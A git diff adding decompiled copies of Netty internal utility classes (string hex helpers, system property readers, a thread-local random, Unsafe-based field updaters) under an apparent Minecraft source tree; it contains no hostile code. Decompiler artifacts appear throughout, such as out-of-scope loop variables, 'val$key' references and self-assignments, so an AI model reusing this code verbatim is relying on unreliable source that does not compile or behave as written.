+public final class StringUtil
+{
+  public static final String NEWLINE;
+  private static final String[] BYTE2HEX_PAD;
+  private static final String[] BYTE2HEX_NOPAD;
+  private static final String EMPTY_STRING = "";
+  
+  static
+  {
+    BYTE2HEX_PAD = new String['Ā'];
+    BYTE2HEX_NOPAD = new String['Ā'];
+    
+
+    String newLine;
+    
+
+    try
+    {
+      newLine = new Formatter().format("%n", new Object[0]).toString();
+    }
+    catch (Exception e) {
+      newLine = "\n";
+    }
+    
+    NEWLINE = newLine;
+    
+
+
+    for (int i = 0; i < 10; i++) {
+      StringBuilder buf = new StringBuilder(2);
+      buf.append('0');
+      buf.append(i);
+      BYTE2HEX_PAD[i] = buf.toString();
+      BYTE2HEX_NOPAD[i] = String.valueOf(i);
+    }
+    for (; i < 16; i++) {
+      StringBuilder buf = new StringBuilder(2);
+      char c = (char)(97 + i - 10);
+      buf.append('0');
+      buf.append(c);
+      BYTE2HEX_PAD[i] = buf.toString();
+      BYTE2HEX_NOPAD[i] = String.valueOf(c);
+    }
+    for (; i < BYTE2HEX_PAD.length; i++) {
+      StringBuilder buf = new StringBuilder(2);
+      buf.append(Integer.toHexString(i));
+      String str = buf.toString();
+      BYTE2HEX_PAD[i] = str;
+      BYTE2HEX_NOPAD[i] = str;
+    }
+  }
+  
+
+
+
+  public static String[] split(String value, char delim)
+  {
+    int end = value.length();
+    List<String> res = new ArrayList();
+    
+    int start = 0;
+    for (int i = 0; i < end; i++) {
+      if (value.charAt(i) == delim) {
+        if (start == i) {
+          res.add("");
+        } else {
+          res.add(value.substring(start, i));
+        }
+        start = i + 1;
+      }
+    }
+    
+    if (start == 0) {
+      res.add(value);
+    }
+    else if (start != end)
+    {
+      res.add(value.substring(start, end));
+    }
+    else {
+      for (int i = res.size() - 1; i >= 0; i--) {
+        if (!((String)res.get(i)).isEmpty()) break;
+        res.remove(i);
+      }
+    }
+    
+
+
+
+
+    return (String[])res.toArray(new String[res.size()]);
+  }
+  
+
+
+  public static String byteToHexStringPadded(int value)
+  {
+    return BYTE2HEX_PAD[(value & 0xFF)];
+  }
+  
+
+  public static <T extends Appendable> T byteToHexStringPadded(T buf, int value)
+  {
+    try
+    {
+      buf.append(byteToHexStringPadded(value));
+    } catch (IOException e) {
+      PlatformDependent.throwException(e);
+    }
+    return buf;
+  }
+  
+
+
+  public static String toHexStringPadded(byte[] src)
+  {
+    return toHexStringPadded(src, 0, src.length);
+  }
+  
+
+
+  public static String toHexStringPadded(byte[] src, int offset, int length)
+  {
+    return ((StringBuilder)toHexStringPadded(new StringBuilder(length << 1), src, offset, length)).toString();
+  }
+  
+
+
+  public static <T extends Appendable> T toHexStringPadded(T dst, byte[] src)
+  {
+    return toHexStringPadded(dst, src, 0, src.length);
+  }
+  
+
+
+  public static <T extends Appendable> T toHexStringPadded(T dst, byte[] src, int offset, int length)
+  {
+    int end = offset + length;
+    for (int i = offset; i < end; i++) {
+      byteToHexStringPadded(dst, src[i]);
+    }
+    return dst;
+  }
+  
+
+
+  public static String byteToHexString(int value)
+  {
+    return BYTE2HEX_NOPAD[(value & 0xFF)];
+  }
+  
+
+  public static <T extends Appendable> T byteToHexString(T buf, int value)
+  {
+    try
+    {
+      buf.append(byteToHexString(value));
+    } catch (IOException e) {
+      PlatformDependent.throwException(e);
+    }
+    return buf;
+  }
+  
+
+
+  public static String toHexString(byte[] src)
+  {
+    return toHexString(src, 0, src.length);
+  }
+  
+
+
+  public static String toHexString(byte[] src, int offset, int length)
+  {
+    return ((StringBuilder)toHexString(new StringBuilder(length << 1), src, offset, length)).toString();
+  }
+  
+
+
+  public static <T extends Appendable> T toHexString(T dst, byte[] src)
+  {
+    return toHexString(dst, src, 0, src.length);
+  }
+  
+
+
+  public static <T extends Appendable> T toHexString(T dst, byte[] src, int offset, int length)
+  {
+    assert (length >= 0);
+    if (length == 0) {
+      return dst;
+    }
+    
+    int end = offset + length;
+    int endMinusOne = end - 1;
+    
+
+
+    for (int i = offset; i < endMinusOne; i++) {
+      if (src[i] != 0) {
+        break;
+      }
+    }
+    
+    byteToHexString(dst, src[(i++)]);
+    int remaining = end - i;
+    toHexStringPadded(dst, src, i, remaining);
+    
+    return dst;
+  }
+  
+
+
+  public static String simpleClassName(Object o)
+  {
+    if (o == null) {
+      return "null_object";
+    }
+    return simpleClassName(o.getClass());
+  }
+  
+
+
+
+
+  public static String simpleClassName(Class<?> clazz)
+  {
+    if (clazz == null) {
+      return "null_class";
+    }
+    
+    Package pkg = clazz.getPackage();
+    if (pkg != null) {
+      return clazz.getName().substring(pkg.getName().length() + 1);
+    }
+    return clazz.getName();
+  }
+  
+  private StringUtil() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/SystemPropertyUtil.java b/src/minecraft/io/netty/util/internal/SystemPropertyUtil.java
new file mode 100644
index 0000000..98b176c
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/SystemPropertyUtil.java
@@ -0,0 +1,221 @@
+package io.netty.util.internal;
+
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SystemPropertyUtil
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(SystemPropertyUtil.class);
+  private static boolean initializedLogger = true;
+  
+
+
+
+
+  public static boolean contains(String key)
+  {
+    return get(key) != null;
+  }
+  
+
+
+
+
+
+  public static String get(String key)
+  {
+    return get(key, null);
+  }
+  
+
+
+
+
+
+
+
+
+  public static String get(String key, String def)
+  {
+    if (key == null) {
+      throw new NullPointerException("key");
+    }
+    if (key.isEmpty()) {
+      throw new IllegalArgumentException("key must not be empty.");
+    }
+    
+    String value = null;
+    try {
+      if (System.getSecurityManager() == null) {
+        value = System.getProperty(key);
+      } else {
+        value = (String)AccessController.doPrivileged(new PrivilegedAction()
+        {
+          public String run() {
+            return System.getProperty(val$key);
+          }
+        });
+      }
+    } catch (Exception e) {
+      if (!loggedException) {
+        log("Unable to retrieve a system property '" + key + "'; default values will be used.", e);
+        loggedException = true;
+      }
+    }
+    
+    if (value == null) {
+      return def;
+    }
+    
+    return value;
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean getBoolean(String key, boolean def)
+  {
+    String value = get(key);
+    if (value == null) {
+      return def;
+    }
+    
+    value = value.trim().toLowerCase();
+    if (value.isEmpty()) {
+      return true;
+    }
+    
+    if (("true".equals(value)) || ("yes".equals(value)) || ("1".equals(value))) {
+      return true;
+    }
+    
+    if (("false".equals(value)) || ("no".equals(value)) || ("0".equals(value))) {
+      return false;
+    }
+    
+    log("Unable to parse the boolean system property '" + key + "':" + value + " - " + "using the default value: " + def);
+    
+
+
+    return def;
+  }
+  
+  private static final Pattern INTEGER_PATTERN = Pattern.compile("-?[0-9]+");
+  
+
+
+
+  private static boolean loggedException;
+  
+
+
+
+  public static int getInt(String key, int def)
+  {
+    String value = get(key);
+    if (value == null) {
+      return def;
+    }
+    
+    value = value.trim().toLowerCase();
+    if (INTEGER_PATTERN.matcher(value).matches()) {
+      try {
+        return Integer.parseInt(value);
+      }
+      catch (Exception e) {}
+    }
+    
+
+    log("Unable to parse the integer system property '" + key + "':" + value + " - " + "using the default value: " + def);
+    
+
+
+    return def;
+  }
+  
+
+
+
+
+
+
+
+
+  public static long getLong(String key, long def)
+  {
+    String value = get(key);
+    if (value == null) {
+      return def;
+    }
+    
+    value = value.trim().toLowerCase();
+    if (INTEGER_PATTERN.matcher(value).matches()) {
+      try {
+        return Long.parseLong(value);
+      }
+      catch (Exception e) {}
+    }
+    
+
+    log("Unable to parse the long integer system property '" + key + "':" + value + " - " + "using the default value: " + def);
+    
+
+
+    return def;
+  }
+  
+  private static void log(String msg) {
+    if (initializedLogger) {
+      logger.warn(msg);
+    }
+    else {
+      Logger.getLogger(SystemPropertyUtil.class.getName()).log(Level.WARNING, msg);
+    }
+  }
+  
+  private static void log(String msg, Exception e) {
+    if (initializedLogger) {
+      logger.warn(msg, e);
+    }
+    else {
+      Logger.getLogger(SystemPropertyUtil.class.getName()).log(Level.WARNING, msg, e);
+    }
+  }
+  
+  private SystemPropertyUtil() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/ThreadLocalRandom.java b/src/minecraft/io/netty/util/internal/ThreadLocalRandom.java
new file mode 100644
index 0000000..d4d5674
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/ThreadLocalRandom.java
@@ -0,0 +1,334 @@
+package io.netty.util.internal;
+
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.security.SecureRandom;
+import java.util.Random;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicLong;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ThreadLocalRandom
+  extends Random
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ThreadLocalRandom.class);
+  
+  private static final AtomicLong seedUniquifier = new AtomicLong();
+  private static volatile long initialSeedUniquifier;
+  private static final long multiplier = 25214903917L;
+  private static final long addend = 11L;
+  
+  public static void setInitialSeedUniquifier(long initialSeedUniquifier) { initialSeedUniquifier = initialSeedUniquifier; }
+  
+
+  public static synchronized long getInitialSeedUniquifier()
+  {
+    long initialSeedUniquifier = initialSeedUniquifier;
+    if (initialSeedUniquifier == 0L)
+    {
+      initialSeedUniquifier = initialSeedUniquifier = SystemPropertyUtil.getLong("io.netty.initialSeedUniquifier", 0L);
+    }
+    
+
+
+    if (initialSeedUniquifier == 0L)
+    {
+
+      final BlockingQueue<byte[]> queue = new LinkedBlockingQueue();
+      Thread generatorThread = new Thread("initialSeedUniquifierGenerator")
+      {
+        public void run() {
+          SecureRandom random = new SecureRandom();
+          queue.add(random.generateSeed(8));
+        }
+      };
+      generatorThread.setDaemon(true);
+      generatorThread.start();
+      generatorThread.setUncaughtExceptionHandler(new Thread.UncaughtExceptionHandler()
+      {
+        public void uncaughtException(Thread t, Throwable e) {
+          ThreadLocalRandom.logger.debug("An exception has been raised by {}", t.getName(), e);
+        }
+        
+
+      });
+      long timeoutSeconds = 3L;
+      long deadLine = System.nanoTime() + TimeUnit.SECONDS.toNanos(3L);
+      boolean interrupted = false;
+      for (;;) {
+        long waitTime = deadLine - System.nanoTime();
+        if (waitTime <= 0L) {
+          generatorThread.interrupt();
+          logger.warn("Failed to generate a seed from SecureRandom within {} seconds. Not enough entrophy?", Long.valueOf(3L));
+          
+
+
+          break;
+        }
+        try
+        {
+          byte[] seed = (byte[])queue.poll(waitTime, TimeUnit.NANOSECONDS);
+          if (seed != null) {
+            initialSeedUniquifier = (seed[0] & 0xFF) << 56 | (seed[1] & 0xFF) << 48 | (seed[2] & 0xFF) << 40 | (seed[3] & 0xFF) << 32 | (seed[4] & 0xFF) << 24 | (seed[5] & 0xFF) << 16 | (seed[6] & 0xFF) << 8 | seed[7] & 0xFF;
+            
+
+
+
+
+
+
+
+            break;
+          }
+        } catch (InterruptedException e) {
+          interrupted = true;
+          logger.warn("Failed to generate a seed from SecureRandom due to an InterruptedException.");
+          break;
+        }
+      }
+      
+
+      initialSeedUniquifier ^= 0x3255ECDC33BAE119;
+      initialSeedUniquifier ^= Long.reverse(System.nanoTime());
+      
+      initialSeedUniquifier = initialSeedUniquifier;
+      
+      if (interrupted)
+      {
+        Thread.currentThread().interrupt();
+        
+
+
+        generatorThread.interrupt();
+      }
+    }
+    
+    return initialSeedUniquifier;
+  }
+  
+  private static long newSeed() {
+    long startTime = System.nanoTime();
+    for (;;) {
+      long current = seedUniquifier.get();
+      long actualCurrent = current != 0L ? current : getInitialSeedUniquifier();
+      
+
+      long next = actualCurrent * 181783497276652981L;
+      
+      if (seedUniquifier.compareAndSet(current, next)) {
+        if ((current == 0L) && (logger.isDebugEnabled())) {
+          logger.debug(String.format("-Dio.netty.initialSeedUniquifier: 0x%016x (took %d ms)", new Object[] { Long.valueOf(actualCurrent), Long.valueOf(TimeUnit.NANOSECONDS.toMillis(System.nanoTime() - startTime)) }));
+        }
+        
+
+        return next ^ System.nanoTime();
+      }
+    }
+  }
+  
+
+  private static final long mask = 281474976710655L;
+  
+  private long rnd;
+  
+  boolean initialized;
+  
+  private long pad0;
+  
+  private long pad1;
+  
+  private long pad2;
+  
+  private long pad3;
+  
+  private long pad4;
+  
+  private long pad5;
+  
+  private long pad6;
+  
+  private long pad7;
+  
+  private static final long serialVersionUID = -5851777807851030925L;
+  
+  ThreadLocalRandom()
+  {
+    super(newSeed());
+    initialized = true;
+  }
+  
+
+
+
+
+  public static ThreadLocalRandom current()
+  {
+    return InternalThreadLocalMap.get().random();
+  }
+  
+
+
+
+
+
+  public void setSeed(long seed)
+  {
+    if (initialized) {
+      throw new UnsupportedOperationException();
+    }
+    rnd = ((seed ^ 0x5DEECE66D) & 0xFFFFFFFFFFFF);
+  }
+  
+  protected int next(int bits) {
+    rnd = (rnd * 25214903917L + 11L & 0xFFFFFFFFFFFF);
+    return (int)(rnd >>> 48 - bits);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int nextInt(int least, int bound)
+  {
+    if (least >= bound) {
+      throw new IllegalArgumentException();
+    }
+    return nextInt(bound - least) + least;
+  }
+  
+
+
+
+
+
+
+
+
+  public long nextLong(long n)
+  {
+    if (n <= 0L) {
+      throw new IllegalArgumentException("n must be positive");
+    }
+    
+
+
+
+
+
+    long offset = 0L;
+    while (n >= 2147483647L) {
+      int bits = next(2);
+      long half = n >>> 1;
+      long nextn = (bits & 0x2) == 0 ? half : n - half;
+      if ((bits & 0x1) == 0) {
+        offset += n - nextn;
+      }
+      n = nextn;
+    }
+    return offset + nextInt((int)n);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public long nextLong(long least, long bound)
+  {
+    if (least >= bound) {
+      throw new IllegalArgumentException();
+    }
+    return nextLong(bound - least) + least;
+  }
+  
+
+
+
+
+
+
+
+
+  public double nextDouble(double n)
+  {
+    if (n <= 0.0D) {
+      throw new IllegalArgumentException("n must be positive");
+    }
+    return nextDouble() * n;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public double nextDouble(double least, double bound)
+  {
+    if (least >= bound) {
+      throw new IllegalArgumentException();
+    }
+    return nextDouble() * (bound - least) + least;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/ThrowableUtil.java b/src/minecraft/io/netty/util/internal/ThrowableUtil.java
new file mode 100644
index 0000000..8196b9b
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/ThrowableUtil.java
@@ -0,0 +1,54 @@
+package io.netty.util.internal;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ThrowableUtil
+{
+  private ThrowableUtil() {}
+  
+  public static <T extends Throwable> T unknownStackTrace(T cause, Class<?> clazz, String method)
+  {
+    cause.setStackTrace(new StackTraceElement[] { new StackTraceElement(clazz.getName(), method, null, -1) });
+    return cause;
+  }
+  
+
+
+
+
+
+  public static String stackTraceToString(Throwable cause)
+  {
+    ByteArrayOutputStream out = new ByteArrayOutputStream();
+    PrintStream pout = new PrintStream(out);
+    cause.printStackTrace(pout);
+    pout.flush();
+    try {
+      return new String(out.toByteArray());
+    } finally {
+      try {
+        out.close();
+      }
+      catch (IOException localIOException1) {}
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/TypeParameterMatcher.java b/src/minecraft/io/netty/util/internal/TypeParameterMatcher.java
new file mode 100644
index 0000000..3356019
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/TypeParameterMatcher.java
@@ -0,0 +1,174 @@
+package io.netty.util.internal;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.GenericArrayType;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.lang.reflect.TypeVariable;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TypeParameterMatcher
+{
+  private static final TypeParameterMatcher NOOP = new NoOpTypeParameterMatcher();
+  private static final Object TEST_OBJECT = new Object();
+  
+  public static TypeParameterMatcher get(Class<?> parameterType) {
+    Map<Class<?>, TypeParameterMatcher> getCache = InternalThreadLocalMap.get().typeParameterMatcherGetCache();
+    
+
+    TypeParameterMatcher matcher = (TypeParameterMatcher)getCache.get(parameterType);
+    if (matcher == null) {
+      if (parameterType == Object.class) {
+        matcher = NOOP;
+      } else if (PlatformDependent.hasJavassist()) {
+        try {
+          matcher = JavassistTypeParameterMatcherGenerator.generate(parameterType);
+          matcher.match(TEST_OBJECT);
+        }
+        catch (IllegalAccessError e) {
+          matcher = null;
+        }
+        catch (Exception e) {
+          matcher = null;
+        }
+      }
+      
+      if (matcher == null) {
+        matcher = new ReflectiveMatcher(parameterType);
+      }
+      
+      getCache.put(parameterType, matcher);
+    }
+    
+    return matcher;
+  }
+  
+
+  public static TypeParameterMatcher find(Object object, Class<?> parameterizedSuperclass, String typeParamName)
+  {
+    Map<Class<?>, Map<String, TypeParameterMatcher>> findCache = InternalThreadLocalMap.get().typeParameterMatcherFindCache();
+    
+    Class<?> thisClass = object.getClass();
+    
+    Map<String, TypeParameterMatcher> map = (Map)findCache.get(thisClass);
+    if (map == null) {
+      map = new HashMap();
+      findCache.put(thisClass, map);
+    }
+    
+    TypeParameterMatcher matcher = (TypeParameterMatcher)map.get(typeParamName);
+    if (matcher == null) {
+      matcher = get(find0(object, parameterizedSuperclass, typeParamName));
+      map.put(typeParamName, matcher);
+    }
+    
+    return matcher;
+  }
+  
+
+  private static Class<?> find0(Object object, Class<?> parameterizedSuperclass, String typeParamName)
+  {
+    Class<?> thisClass = object.getClass();
+    Class<?> currentClass = thisClass;
+    do {
+      while (currentClass.getSuperclass() == parameterizedSuperclass) {
+        int typeParamIndex = -1;
+        TypeVariable<?>[] typeParams = currentClass.getSuperclass().getTypeParameters();
+        for (int i = 0; i < typeParams.length; i++) {
+          if (typeParamName.equals(typeParams[i].getName())) {
+            typeParamIndex = i;
+            break;
+          }
+        }
+        
+        if (typeParamIndex < 0) {
+          throw new IllegalStateException("unknown type parameter '" + typeParamName + "': " + parameterizedSuperclass);
+        }
+        
+
+        Type genericSuperType = currentClass.getGenericSuperclass();
+        if (!(genericSuperType instanceof ParameterizedType)) {
+          return Object.class;
+        }
+        
+        Type[] actualTypeParams = ((ParameterizedType)genericSuperType).getActualTypeArguments();
+        
+        Type actualTypeParam = actualTypeParams[typeParamIndex];
+        if ((actualTypeParam instanceof ParameterizedType)) {
+          actualTypeParam = ((ParameterizedType)actualTypeParam).getRawType();
+        }
+        if ((actualTypeParam instanceof Class)) {
+          return (Class)actualTypeParam;
+        }
+        if ((actualTypeParam instanceof GenericArrayType)) {
+          Type componentType = ((GenericArrayType)actualTypeParam).getGenericComponentType();
+          if ((componentType instanceof ParameterizedType)) {
+            componentType = ((ParameterizedType)componentType).getRawType();
+          }
+          if ((componentType instanceof Class)) {
+            return Array.newInstance((Class)componentType, 0).getClass();
+          }
+        }
+        if ((actualTypeParam instanceof TypeVariable))
+        {
+          TypeVariable<?> v = (TypeVariable)actualTypeParam;
+          currentClass = thisClass;
+          if (!(v.getGenericDeclaration() instanceof Class)) {
+            return Object.class;
+          }
+          
+          parameterizedSuperclass = (Class)v.getGenericDeclaration();
+          typeParamName = v.getName();
+          if (!parameterizedSuperclass.isAssignableFrom(thisClass))
+          {
+
+            return Object.class;
+          }
+        }
+        else {
+          return fail(thisClass, typeParamName);
+        } }
+      currentClass = currentClass.getSuperclass();
+    } while (currentClass != null);
+    return fail(thisClass, typeParamName);
+  }
+  
+
+  private static Class<?> fail(Class<?> type, String typeParamName)
+  {
+    throw new IllegalStateException("cannot determine the type of the type parameter '" + typeParamName + "': " + type);
+  }
+  
+  public abstract boolean match(Object paramObject);
+  
+  protected TypeParameterMatcher() {}
+  
+  private static final class ReflectiveMatcher extends TypeParameterMatcher {
+    private final Class<?> type;
+    
+    ReflectiveMatcher(Class<?> type) { this.type = type; }
+    
+
+    public boolean match(Object msg)
+    {
+      return type.isInstance(msg);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/UnpaddedInternalThreadLocalMap.java b/src/minecraft/io/netty/util/internal/UnpaddedInternalThreadLocalMap.java
new file mode 100644
index 0000000..1272e26
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/UnpaddedInternalThreadLocalMap.java
@@ -0,0 +1,57 @@
+package io.netty.util.internal;
+
+import java.nio.charset.Charset;
+import java.nio.charset.CharsetDecoder;
+import java.nio.charset.CharsetEncoder;
+import java.util.Map;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class UnpaddedInternalThreadLocalMap
+{
+  static ThreadLocal<InternalThreadLocalMap> slowThreadLocalMap;
+  static final AtomicInteger nextIndex = new AtomicInteger();
+  
+  Object[] indexedVariables;
+  
+  int futureListenerStackDepth;
+  
+  int localChannelReaderStackDepth;
+  
+  Map<Class<?>, Boolean> handlerSharableCache;
+  
+  IntegerHolder counterHashCode;
+  ThreadLocalRandom random;
+  Map<Class<?>, TypeParameterMatcher> typeParameterMatcherGetCache;
+  Map<Class<?>, Map<String, TypeParameterMatcher>> typeParameterMatcherFindCache;
+  StringBuilder stringBuilder;
+  Map<Charset, CharsetEncoder> charsetEncoderCache;
+  Map<Charset, CharsetDecoder> charsetDecoderCache;
+  
+  UnpaddedInternalThreadLocalMap(Object[] indexedVariables)
+  {
+    this.indexedVariables = indexedVariables;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/UnsafeAtomicIntegerFieldUpdater.java b/src/minecraft/io/netty/util/internal/UnsafeAtomicIntegerFieldUpdater.java
new file mode 100644
index 0000000..15db292
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/UnsafeAtomicIntegerFieldUpdater.java
@@ -0,0 +1,61 @@
+package io.netty.util.internal;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Modifier;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class UnsafeAtomicIntegerFieldUpdater<T>
+  extends AtomicIntegerFieldUpdater<T>
+{
+  private final long offset;
+  private final Unsafe unsafe;
+  
+  UnsafeAtomicIntegerFieldUpdater(Unsafe unsafe, Class<?> tClass, String fieldName)
+    throws NoSuchFieldException
+  {
+    Field field = tClass.getDeclaredField(fieldName);
+    if (!Modifier.isVolatile(field.getModifiers())) {
+      throw new IllegalArgumentException("Must be volatile");
+    }
+    this.unsafe = unsafe;
+    offset = unsafe.objectFieldOffset(field);
+  }
+  
+  public boolean compareAndSet(T obj, int expect, int update)
+  {
+    return unsafe.compareAndSwapInt(obj, offset, expect, update);
+  }
+  
+  public boolean weakCompareAndSet(T obj, int expect, int update)
+  {
+    return unsafe.compareAndSwapInt(obj, offset, expect, update);
+  }
+  
+  public void set(T obj, int newValue)
+  {
+    unsafe.putIntVolatile(obj, offset, newValue);
+  }
+  
+  public void lazySet(T obj, int newValue)
+  {
+    unsafe.putOrderedInt(obj, offset, newValue);
+  }
+  
+  public int get(T obj)
+  {
+    return unsafe.getIntVolatile(obj, offset);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/UnsafeAtomicLongFieldUpdater.java b/src/minecraft/io/netty/util/internal/UnsafeAtomicLongFieldUpdater.java
new file mode 100644
index 0000000..b3ccea9
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/UnsafeAtomicLongFieldUpdater.java
@@ -0,0 +1,61 @@
+package io.netty.util.internal;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Modifier;
+import java.util.concurrent.atomic.AtomicLongFieldUpdater;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class UnsafeAtomicLongFieldUpdater<T>
+  extends AtomicLongFieldUpdater<T>
+{
+  private final long offset;
+  private final Unsafe unsafe;
+  
+  UnsafeAtomicLongFieldUpdater(Unsafe unsafe, Class<?> tClass, String fieldName)
+    throws NoSuchFieldException
+  {
+    Field field = tClass.getDeclaredField(fieldName);
+    if (!Modifier.isVolatile(field.getModifiers())) {
+      throw new IllegalArgumentException("Must be volatile");
+    }
+    this.unsafe = unsafe;
+    offset = unsafe.objectFieldOffset(field);
+  }
+  
+  public boolean compareAndSet(T obj, long expect, long update)
+  {
+    return unsafe.compareAndSwapLong(obj, offset, expect, update);
+  }
+  
+  public boolean weakCompareAndSet(T obj, long expect, long update)
+  {
+    return unsafe.compareAndSwapLong(obj, offset, expect, update);
+  }
+  
+  public void set(T obj, long newValue)
+  {
+    unsafe.putLongVolatile(obj, offset, newValue);
+  }
+  
+  public void lazySet(T obj, long newValue)
+  {
+    unsafe.putOrderedLong(obj, offset, newValue);
+  }
+  
+  public long get(T obj)
+  {
+    return unsafe.getLongVolatile(obj, offset);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/UnsafeAtomicReferenceFieldUpdater.java b/src/minecraft/io/netty/util/internal/UnsafeAtomicReferenceFieldUpdater.java
new file mode 100644
index 0000000..c9123d2
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/UnsafeAtomicReferenceFieldUpdater.java
@@ -0,0 +1,62 @@
+package io.netty.util.internal;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Modifier;
+import java.util.concurrent.atomic.AtomicReferenceFieldUpdater;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class UnsafeAtomicReferenceFieldUpdater<U, M>
+  extends AtomicReferenceFieldUpdater<U, M>
+{
+  private final long offset;
+  private final Unsafe unsafe;
+  
+  UnsafeAtomicReferenceFieldUpdater(Unsafe unsafe, Class<U> tClass, String fieldName)
+    throws NoSuchFieldException
+  {
+    Field field = tClass.getDeclaredField(fieldName);
+    if (!Modifier.isVolatile(field.getModifiers())) {
+      throw new IllegalArgumentException("Must be volatile");
+    }
+    this.unsafe = unsafe;
+    offset = unsafe.objectFieldOffset(field);
+  }
+  
+  public boolean compareAndSet(U obj, M expect, M update)
+  {
+    return unsafe.compareAndSwapObject(obj, offset, expect, update);
+  }
+  
+  public boolean weakCompareAndSet(U obj, M expect, M update)
+  {
+    return unsafe.compareAndSwapObject(obj, offset, expect, update);
+  }
+  
+  public void set(U obj, M newValue)
+  {
+    unsafe.putObjectVolatile(obj, offset, newValue);
+  }
+  
+  public void lazySet(U obj, M newValue)
+  {
+    unsafe.putOrderedObject(obj, offset, newValue);
+  }
+  
+
+  public M get(U obj)
+  {
+    return unsafe.getObjectVolatile(obj, offset);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/UnstableApi.java b/src/minecraft/io/netty/util/internal/UnstableApi.java
new file mode 100644
index 0000000..7ae0d4b
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/UnstableApi.java
@@ -0,0 +1,12 @@
+package io.netty.util.internal;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Documented;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.SOURCE)
+@Target({java.lang.annotation.ElementType.ANNOTATION_TYPE, java.lang.annotation.ElementType.CONSTRUCTOR, java.lang.annotation.ElementType.FIELD, java.lang.annotation.ElementType.METHOD, java.lang.annotation.ElementType.PACKAGE, java.lang.annotation.ElementType.TYPE})
+@Documented
+public @interface UnstableApi {}
diff --git a/src/minecraft/io/netty/util/internal/chmv8/ConcurrentHashMapV8.java b/src/minecraft/io/netty/util/internal/chmv8/ConcurrentHashMapV8.java
new file mode 100644
index 0000000..83a824b
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/chmv8/ConcurrentHashMapV8.java
@@ -0,0 +1,6214 @@
+package io.netty.util.internal.chmv8;
+
+import io.netty.util.internal.IntegerHolder;
+import io.netty.util.internal.InternalThreadLocalMap;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.ObjectOutputStream.PutField;
+import java.io.ObjectStreamField;
+import java.io.Serializable;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.security.AccessController;
+import java.security.PrivilegedActionException;
+import java.security.PrivilegedExceptionAction;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Enumeration;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.concurrent.locks.LockSupport;
+import java.util.concurrent.locks.ReentrantLock;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
